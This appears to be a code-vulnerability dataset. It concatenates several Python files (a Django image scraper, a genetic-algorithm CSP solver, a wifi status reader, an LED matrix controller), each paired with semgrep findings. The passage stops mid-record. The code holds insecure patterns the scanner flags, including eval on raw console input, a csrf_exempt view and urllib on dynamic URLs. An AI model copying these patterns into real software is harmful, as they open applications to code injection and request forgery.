from sqlalchemy.orm import sessionmaker
from sqlalchemy.ext.declarative import declarative_base
from PC.PCModels import Pachongimage
from django.views.decorators.csrf import csrf_exempt
from django.http import HttpResponse
from django.core import serializers
import json
import pickle
from PC.SqlAlchemyToJson import AlchemyEncoder
class ConnectMysql(object):
Base = declarative_base()
def connectSql(self):
engine = create_engine('mysql+pymysql://root@localhost:3306/roguedatabase',
connect_args = {'charset': 'utf8'},
echo = True)
Session = sessionmaker(bind=engine)
session = Session()
return session
def insertSql(self, imageList=None):
print('------传参数后显示的数组:' + str(len(imageList)))
if imageList is None:
print('-------现在显示的是 imageList 为 None')
imageList = ''
print('--------- imageList (' + str(imageList[0]) + ')')
session = self.connectSql()
session.add_all(imageList)
session.commit()
session.close()
def querySql(self):
session = self.connectSql()
query = session.query(Pachongimage).all()
session.close()
return query
class HtmlParser(HTMLParser):
def error(self, message):
pass
def __init__(self):
HTMLParser.__init__(self)
self.links = []
def handle_starttag(self, tag, attrs):
if tag == 'img':
s = []
for (variable, value) in attrs:
s.append(value)
self.links.append(s)
def handle_endtag(self, tag):
pass
def handle_data(self, data):
pass
def geturl(url_parameter):
req = urllib.request.urlopen(url_parameter)
req = req.read()
return req.decode('utf-8')
def continsrc(src):
currentIndex = 0
return_str = ''
all_str = src
start_parameter = "<li class=\"m-b-hot\">"
end_parameter = "</li>"
j = 0
while all_str.find("<li class=\"m-b-hot\">"):
inta = all_str.find(start_parameter)
if inta == -1:
break
inta += currentIndex
all_str = src[inta:]
intb = all_str.find(end_parameter)
finally_str = src[inta:inta + intb + len(end_parameter)]
print(finally_str)
return_str = return_str + finally_str
currentIndex = inta + intb + len(end_parameter)
all_str = src[currentIndex:]
j += 1
return return_str
def pageinurl(url_parameter):
urllists = []
src = geturl(url_parameter)
content = continsrc(src)
parser = HtmlParser()
parser.feed(content)
parser.close()
for i in parser.links:
image = Pachongimage()
urlString = '/Users/rogueandy/Desktop/ceshi/' + i[1] + '.jpg'
urllib.request.urlretrieve(i[0], urlString)
image.imgaddress = urlString
image.imgtitle = i[0]
image.imgfromurl = url_parameter
urllists.append(image)
return urllists
def convert_to_builtin_type(obj):
print('default(', repr(obj), ')')
d = {}
d.update(obj.__dict__)
return d
@csrf_exempt
def showPaChongToIOS(request):
connect = ConnectMysql()
current = connect.querySql()
return HttpResponse(json.dumps({'status': '1', 'imgurls': current}, cls=AlchemyEncoder),
content_type='application/json') | 146 | 23.29 | 92 | 14 | 816 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.dynamic-urllib-use-detected_aac17dc09748c3fc_6df71cb7", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dynamic-urllib-use-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected a dynamic value being used with urllib. urllib supports 'file://' schemes, so a dynamic value controlled by a malicious actor may allow them to read arbitrary files. Audit uses of urllib calls to ensure user data cannot control the URLs, or consider using the 'requests' library instead.", "remediation": "", "location": {"file_path": "unknown", "line_start": 79, "line_end": 79, "column_start": 11, "column_end": 48, "code_snippet": "requires login"}, "cwe_id": "CWE-939: Improper Authorization in Handler for Custom URL Scheme", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A", "references": [{"url": "https://cwe.mitre.org/data/definitions/939.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dynamic-urllib-use-detected", "path": "/tmp/tmppq52ww6s/aac17dc09748c3fc.py", "start": {"line": 79, "col": 11, "offset": 1905}, "end": {"line": 79, "col": 48, "offset": 1942}, "extra": {"message": "Detected a dynamic value being used with urllib. urllib supports 'file://' schemes, so a dynamic value controlled by a malicious actor may allow them to read arbitrary files. Audit uses of urllib calls to ensure user data cannot control the URLs, or consider using the 'requests' library instead.", "metadata": {"cwe": ["CWE-939: Improper Authorization in Handler for Custom URL Scheme"], "owasp": "A01:2017 - Injection", "source-rule-url": "https://github.com/PyCQA/bandit/blob/b1411bfb43795d3ffd268bef17a839dee954c2b1/bandit/blacklists/calls.py#L163", "bandit-code": "B310", "asvs": {"control_id": "5.2.4 Dynamic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://cwe.mitre.org/data/definitions/939.html"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "LOW", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dynamic-urllib-use-detected_aac17dc09748c3fc_2be8d262", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dynamic-urllib-use-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected a dynamic value being used with urllib. urllib supports 'file://' schemes, so a dynamic value controlled by a malicious actor may allow them to read arbitrary files. Audit uses of urllib calls to ensure user data cannot control the URLs, or consider using the 'requests' library instead.", "remediation": "", "location": {"file_path": "unknown", "line_start": 124, "line_end": 124, "column_start": 9, "column_end": 52, "code_snippet": "requires login"}, "cwe_id": "CWE-939: Improper Authorization in Handler for Custom URL Scheme", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A", "references": [{"url": "https://cwe.mitre.org/data/definitions/939.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dynamic-urllib-use-detected", "path": "/tmp/tmppq52ww6s/aac17dc09748c3fc.py", "start": {"line": 124, "col": 9, "offset": 2990}, "end": {"line": 124, "col": 52, "offset": 3033}, "extra": {"message": "Detected a dynamic value being used with urllib. urllib supports 'file://' schemes, so a dynamic value controlled by a malicious actor may allow them to read arbitrary files. Audit uses of urllib calls to ensure user data cannot control the URLs, or consider using the 'requests' library instead.", "metadata": {"cwe": ["CWE-939: Improper Authorization in Handler for Custom URL Scheme"], "owasp": "A01:2017 - Injection", "source-rule-url": "https://github.com/PyCQA/bandit/blob/b1411bfb43795d3ffd268bef17a839dee954c2b1/bandit/blacklists/calls.py#L163", "bandit-code": "B310", "asvs": {"control_id": "5.2.4 Dynamic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://cwe.mitre.org/data/definitions/939.html"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "LOW", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.django.security.audit.no-csrf-exempt_aac17dc09748c3fc_c11d6d70", "tool_name": "semgrep", "rule_id": "rules.python.django.security.audit.no-csrf-exempt", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected usage of @csrf_exempt, which indicates that there is no CSRF token set for this route. This could lead to an attacker manipulating the user's account and exfiltration of private data. Instead, create a function without this decorator.", "remediation": "", "location": {"file_path": "unknown", "line_start": 139, "line_end": 146, "column_start": 1, "column_end": 57, "code_snippet": "requires login"}, "cwe_id": "CWE-352: Cross-Site Request Forgery (CSRF)", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A01:2021 - Broken Access Control", "references": [{"url": "https://owasp.org/Top10/A01_2021-Broken_Access_Control", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.django.security.audit.no-csrf-exempt", "path": "/tmp/tmppq52ww6s/aac17dc09748c3fc.py", "start": {"line": 139, "col": 1, "offset": 3320}, "end": {"line": 146, "col": 57, "offset": 3577}, "extra": {"message": "Detected usage of @csrf_exempt, which indicates that there is no CSRF token set for this route. This could lead to an attacker manipulating the user's account and exfiltration of private data. Instead, create a function without this decorator.", "metadata": {"cwe": ["CWE-352: Cross-Site Request Forgery (CSRF)"], "owasp": ["A01:2021 - Broken Access Control", "A01:2025 - Broken Access Control"], "category": "security", "technology": ["django"], "references": ["https://owasp.org/Top10/A01_2021-Broken_Access_Control"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 3 | true | [
"CWE-352"
] | [
"rules.python.django.security.audit.no-csrf-exempt"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
139
] | [
146
] | [
1
] | [
57
] | [
"A01:2021 - Broken Access Control"
] | [
"Detected usage of @csrf_exempt, which indicates that there is no CSRF token set for this route. This could lead to an attacker manipulating the user's account and exfiltration of private data. Instead, create a function without this decorator."
] | [
5
] | [
"LOW"
] | [
"MEDIUM"
] | PaChong.py | /ChatServers/PC/PaChong.py | RogueAndy/RgPython | MIT | |
2024-11-18T19:29:36.439355+00:00 | 1,612,972,356,000 | 2af810438536ba9c6406fbdc182253a25f734443 | 3 | {
"blob_id": "2af810438536ba9c6406fbdc182253a25f734443",
"branch_name": "refs/heads/master",
"committer_date": 1612972356000,
"content_id": "bc41869ac309a9bf26416b0541274b9aa872a38d",
"detected_licenses": [
"MIT"
],
"directory_id": "45c033e74c1f9f188fdee36f7a25ef3374d01ff9",
"extension": "py",
"filename": "Genetic_Util.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 299358122,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2944,
"license": "MIT",
"license_type": "permissive",
"path": "/CSP_Solver/Genetic_Algo/Genetic_Util.py",
"provenance": "stack-edu-0054.json.gz:580229",
"repo_name": "LezendarySandwich/Generic-CSP-Solver",
"revision_date": 1612972356000,
"revision_id": "1f0577a92e4ebaabe60f1c7dcac4904872e704f4",
"snapshot_id": "51788e4b184a87a19145bcb099c30076d2957722",
"src_encoding": "UTF-8",
"star_events_count": 2,
"url": "https://raw.githubusercontent.com/LezendarySandwich/Generic-CSP-Solver/1f0577a92e4ebaabe60f1c7dcac4904872e704f4/CSP_Solver/Genetic_Algo/Genetic_Util.py",
"visit_date": "2023-03-03T14:31:33.280542"
} | 2.859375 | stackv2 | import copy, random
from CSP_Solver.Util import big
def generateInitailPopulation(obj, populationSize):
population = []
for i in range(populationSize):
obj.createRandomInstance()
population.append((fitnessValue(obj, obj.value), copy.deepcopy(obj.value)))
return population
def randomMutation(obj, values, mutationProbability = 0.04):
return [random.choice(obj.domainHelp[i]) if i is not 0 and random.uniform(0,1) <= mutationProbability else values[i] for i in range(len(values))]
def fitnessValue(obj, values):
fitness = 0
for va in range(1,len(values)):
for neighbour in obj.graph[va]:
satisfies = True
for constraint in obj.graphConstraints[va][neighbour]:
if not eval(constraint, {"value": values}):
satisfies = False
break
if not satisfies:
fitness += 1
if fitness == 0:
obj.stop = 1
return fitness
def tournamentFindParent(obj, currentPopulation, k, indexes):
k = min(k, len(currentPopulation))
chooseFrom = random.sample(indexes, k)
# Now we need to find the fittest among them
best, mn = [], big
for i in chooseFrom:
if mn > currentPopulation[i][0]:
mn = currentPopulation[i][0]
best = [currentPopulation[i][1]]
elif mn == currentPopulation[i][0]:
best.append(currentPopulation[i][1])
return random.choice(best)
def tournamentSelection(obj, currentPopulation, k):
indexes = [i for i in range(0, len(currentPopulation))]
parent1 = tournamentFindParent(obj, currentPopulation, k, indexes)
parent2 = tournamentFindParent(obj, currentPopulation, k, indexes)
return parent1, parent2
def nextGeneration(obj, currentPopulation, k = None, crossoverProbability = .74):
if k is None:
k = len(currentPopulation) // 2
newPopulation = []
while len(newPopulation) < len(currentPopulation):
parent1, parent2 = tournamentSelection(obj, currentPopulation, k)
if random.uniform(0,1) <= crossoverProbability:
newPopulation.extend(singlePointCrossover(obj, parent1, parent2))
else:
child1, child2 = randomMutation(obj, parent1), randomMutation(obj, parent2)
newPopulation.extend(((fitnessValue(obj, child1), child1), (fitnessValue(obj, child2), child2)))
return newPopulation
def singlePointCrossover(obj, parent1, parent2):
crossOverPoint = random.randint(1,len(parent1) - 1)
offspring1 = parent1[: crossOverPoint + 1] + parent2[crossOverPoint + 1 :]
offspring2 = parent2[: crossOverPoint + 1] + parent1[crossOverPoint + 1 :]
offspring1 = randomMutation(obj, offspring1)
offspring2 = randomMutation(obj, offspring2)
return (fitnessValue(obj, offspring1), offspring1), (fitnessValue(obj, offspring2), offspring2) | 67 | 41.97 | 149 | 17 | 677 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_a62383e9797499bd_667b48e1", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 20, "line_end": 20, "column_start": 24, "column_end": 59, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmppq52ww6s/a62383e9797499bd.py", "start": {"line": 20, "col": 24, "offset": 757}, "end": {"line": 20, "col": 59, "offset": 792}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-95"
] | [
"rules.python.lang.security.audit.eval-detected"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
20
] | [
20
] | [
24
] | [
59
] | [
"A03:2021 - Injection"
] | [
"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."
] | [
5
] | [
"LOW"
] | [
"HIGH"
] | Genetic_Util.py | /CSP_Solver/Genetic_Algo/Genetic_Util.py | LezendarySandwich/Generic-CSP-Solver | MIT | |
2024-11-18T19:29:38.619537+00:00 | 1,583,985,428,000 | 3a99f98cad394bbe4c09056f79ab031480ccc1a9 | 2 | {
"blob_id": "3a99f98cad394bbe4c09056f79ab031480ccc1a9",
"branch_name": "refs/heads/master",
"committer_date": 1583985428000,
"content_id": "fa0f6b038870ffdeee2b493b06cc2982f02a698e",
"detected_licenses": [
"MIT"
],
"directory_id": "ec4b53a1c27b7859f60f2bc1471c00f38e3da7f4",
"extension": "py",
"filename": "wifi_status.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 244838594,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 998,
"license": "MIT",
"license_type": "permissive",
"path": "/rpi_sidecar/wifi/wifi_status.py",
"provenance": "stack-edu-0054.json.gz:580257",
"repo_name": "nelnet-team/rpi_sidecar",
"revision_date": 1583985428000,
"revision_id": "dc2426dc04244f0a92e99f90eb656509e2ed9065",
"snapshot_id": "7289391bedb781322a2526598b3d8176ff5360c0",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/nelnet-team/rpi_sidecar/dc2426dc04244f0a92e99f90eb656509e2ed9065/rpi_sidecar/wifi/wifi_status.py",
"visit_date": "2021-02-14T21:59:22.799843"
} | 2.484375 | stackv2 | import subprocess
import re
class WifiStatus:
def __init__(self, interface):
self.interface = interface
self.cmd = "/sbin/wpa_cli"
def get_state(self):
cmd = self.cmd
completed = subprocess.run(
[cmd, "-i", self.interface, "status"], capture_output=True)
status = str(completed.stdout)
rawstate = re.search("wpa_state=(\w+)", status)
if rawstate == None:
state = "UNKNOWN"
elif rawstate.group(1) == "COMPLETED":
state = "CONNECTED"
else:
state = rawstate.group(1)
return state
def get_ssid(self):
cmd = self.cmd
completed = subprocess.run(
[cmd, "-i", self.interface, "status"], capture_output=True)
status = str(completed.stdout)
rawstate = re.search("[^b]ssid=(\w+)", status)
if rawstate == None:
state = "UNKNOWN"
else:
state = rawstate.group(1)
return state
| 34 | 28.35 | 71 | 13 | 235 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_a1968bd51e3eb045_0c269b45", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 12, "line_end": 13, "column_start": 21, "column_end": 72, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmppq52ww6s/a1968bd51e3eb045.py", "start": {"line": 12, "col": 21, "offset": 222}, "end": {"line": 13, "col": 72, "offset": 309}, "extra": {"message": "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_a1968bd51e3eb045_de9739f5", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 26, "line_end": 27, "column_start": 21, "column_end": 72, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmppq52ww6s/a1968bd51e3eb045.py", "start": {"line": 26, "col": 21, "offset": 684}, "end": {"line": 27, "col": 72, "offset": 771}, "extra": {"message": "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-78",
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-subprocess-use-audit",
"rules.python.lang.security.audit.dangerous-subprocess-use-audit"
] | [
"security",
"security"
] | [
"LOW",
"LOW"
] | [
"HIGH",
"HIGH"
] | [
12,
26
] | [
13,
27
] | [
21,
21
] | [
72,
72
] | [
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
"Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.",
"Detected subprocess functio... | [
7.5,
7.5
] | [
"LOW",
"LOW"
] | [
"HIGH",
"HIGH"
] | wifi_status.py | /rpi_sidecar/wifi/wifi_status.py | nelnet-team/rpi_sidecar | MIT | |
2024-11-18T19:29:39.557764+00:00 | 1,493,304,142,000 | b27afe8525fada08d9229cb0f84668719625056c | 3 | {
"blob_id": "b27afe8525fada08d9229cb0f84668719625056c",
"branch_name": "refs/heads/master",
"committer_date": 1493304142000,
"content_id": "61f6930d4175196b2f4972c6f57d4a6e966087ae",
"detected_licenses": [
"BSD-2-Clause"
],
"directory_id": "d08ec1888f2cfd36e06cde9254bb1e1b4ba411a1",
"extension": "py",
"filename": "LEDLogic.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 86256236,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 6422,
"license": "BSD-2-Clause",
"license_type": "permissive",
"path": "/main/LEDLogic.py",
"provenance": "stack-edu-0054.json.gz:580271",
"repo_name": "ssaini4/RoboticLamp",
"revision_date": 1493304142000,
"revision_id": "63ab4a09958c376719d81da260f685cab42a5dd7",
"snapshot_id": "59d6545bb0cf1ba485355906534bff2790daf364",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/ssaini4/RoboticLamp/63ab4a09958c376719d81da260f685cab42a5dd7/main/LEDLogic.py",
"visit_date": "2021-01-23T04:58:18.441383"
} | 2.640625 | stackv2 | import time
from neopixel import *
import Colors
import BrightnessControl as BrightCtrl
import RecognitionEntrance as RecogEntr
import RecognitionMode as RecogMode
import Symbols
import LEDClock as Clock
import ColorRotator
from random import randint
# LED strip configuration:
LED_COUNT = 64 # Number of LED pixels.
LED_PIN = 18 # GPIO pin connected to the pixels (must support PWM!).
LED_FREQ_HZ = 800000 # LED signal frequency in hertz (usually 800khz)
LED_DMA = 5 # DMA channel to use for generating signal (try 5)
LED_BRIGHTNESS = 31 # Start Brightness at Level 4
LED_INVERT = False # True to invert the signal (when using NPN transistor level shift)
PIXEL_COLOR = None
matrix = None
if __name__ == '__main__':
# Create NeoPixel object with appropriate configuration.
global matrix
matrix = Adafruit_NeoPixel(LED_COUNT, LED_PIN, LED_FREQ_HZ, LED_DMA, LED_INVERT, LED_BRIGHTNESS)
# Intialize the library (must be called once before other functions).
matrix.begin()
Colors.setRandomColor(matrix, Symbols.processSymbol(Symbols.SYMBOL_ALL_ON))
BC = BrightCtrl.BrightnessCtrl(matrix)
RE = RecogEntr.RecognitionEntrance(matrix)
RM = RecogMode.RecognitionMode(matrix)
CLK = Clock.LEDClock(matrix)
ROT = ColorRotator.ColorRotator(matrix)
matrix.show()
print ('Press Ctrl-C to quit.')
while True:
value = raw_input("")
try:
eval(value)
except (NameError, AttributeError):
print "Try again."
## value = raw_input("0: RecogEntr, 1: RecogMode, 2: BrightCtrl, 3: exit - ")
##
## #Recognition Entrance
## if value == "0":
## inputBool = False
## while not inputBool:
## value = raw_input("0: Average RGB, 1: Random RGB - ")
## if value == "0":
## RE.enterRecognitionEntrance(average = True)
## inputBool = True
## elif value == "1":
## RE.enterRecognitionEntrance(random = True)
## inputBool = True
## else:
## print "try again"
##
## while True:
## value = raw_input("up, down, or exit? - ")
## if value == "up":
## outBool = RE.upLevel()
## if outBool:
## print "Reached 100%!"
##
## elif value == "down":
## outBool = RE.downLevel()
## if outBool:
## print "Already at 0%!"
##
## elif value == "exit":
## RE.exitRecognitionEntrance()
## break
##
## else:
## print "Try again."
##
## #Recognition Mode
## elif value == "1":
## inputBool = False
## while not inputBool:
## value = raw_input("0: Average RGB, 1: Random RGB - ")
## if value == "0":
## RM.enterRecognitionMode(average = True)
## inputBool = True
## elif value == "1":
## RM.enterRecognitionMode(random = True)
## inputBool = True
## else:
## print "try again"
##
## while True:
## value = raw_input("up, down, symbol, nolock, or exit? - ")
## if value == "up":
## outBool = RM.upLevel()
## if outBool:
## print "Reached 100%!"
##
## elif value == "down":
## outBool = RM.downLevel()
## if outBool:
## print "Already at 0%!"
##
## elif value == "symbol":
## RM.displaySymbol(Symbols.processSymbol(Symbols.SYMBOL_B), randint(0,4))
##
## elif value == "nolock":
## RM.noLock()
##
## elif value == "exit":
## RM.exitRecognitionMode()
## break
##
## else:
## print "Try again."
##
## #Brightness Control
## elif value == "2":
## BC.enterControlMode()
##
## while True:
## value = raw_input("up, down, or exit? - ")
##
## if value == "up":
## BC.upLevel()
##
## elif value == "down":
## BC.downLevel()
##
## elif value == "exit":
## BC.exitControlMode()
## break
##
## else:
## print "Try again (BC)"
##
## elif value == "3":
## print "Exiting. Have a good day!"
## break
##
## else:
## print "Try again. (MainLoop)"
| 150 | 41.81 | 113 | 11 | 1,089 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_ee6a68d98e55cbf1_82e6df8f", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 47, "line_end": 47, "column_start": 25, "column_end": 36, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmppq52ww6s/ee6a68d98e55cbf1.py", "start": {"line": 47, "col": 25, "offset": 1514}, "end": {"line": 47, "col": 36, "offset": 1525}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": 